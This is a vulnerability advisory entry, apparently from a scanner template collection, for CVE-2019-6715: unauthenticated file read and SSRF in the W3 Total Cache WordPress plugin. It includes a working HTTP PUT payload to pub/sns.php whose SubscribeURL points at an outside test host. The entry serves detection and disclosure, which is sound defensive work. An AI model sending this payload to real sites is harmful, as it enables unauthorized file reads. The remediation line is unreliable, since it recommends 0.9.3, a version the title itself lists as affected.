| Title | W3 Total Cache 0.9.2.6-0.9.3 - Unauthenticated File Read / Directory Traversal |
|---|---|
| Author | randomrobbie |
| Severity | High |
| Impact | An unauthenticated attacker can read sensitive files or traverse directories on the target system, potentially leading to unauthorized access or information disclosure. |
| Remediation | Update to the latest version of W3 Total Cache plugin (0.9.3 or higher) to mitigate the vulnerability. |
| CVSS Score | 7.5 |
| EPSS Score | 0.90796 |
| CVE ID | CVE-2019-6715 |
| Tags | cve cve2019 wordpress wp-plugin ssrf packetstorm intrusive boldgrid vuln |
WordPress plugin W3 Total Cache before version 0.9.4 allows remote attackers to read arbitrary files via the SubscribeURL field in SubscriptionConfirmation JSON data via pub/sns.php.
PUT /wp-content/plugins/w3-total-cache/pub/sns.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240
Connection: close
Content-Length: 96
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
{"Type":"SubscriptionConfirmation","Message":"","SubscribeURL":"https://rfi.nessus.org/rfi.txt"}
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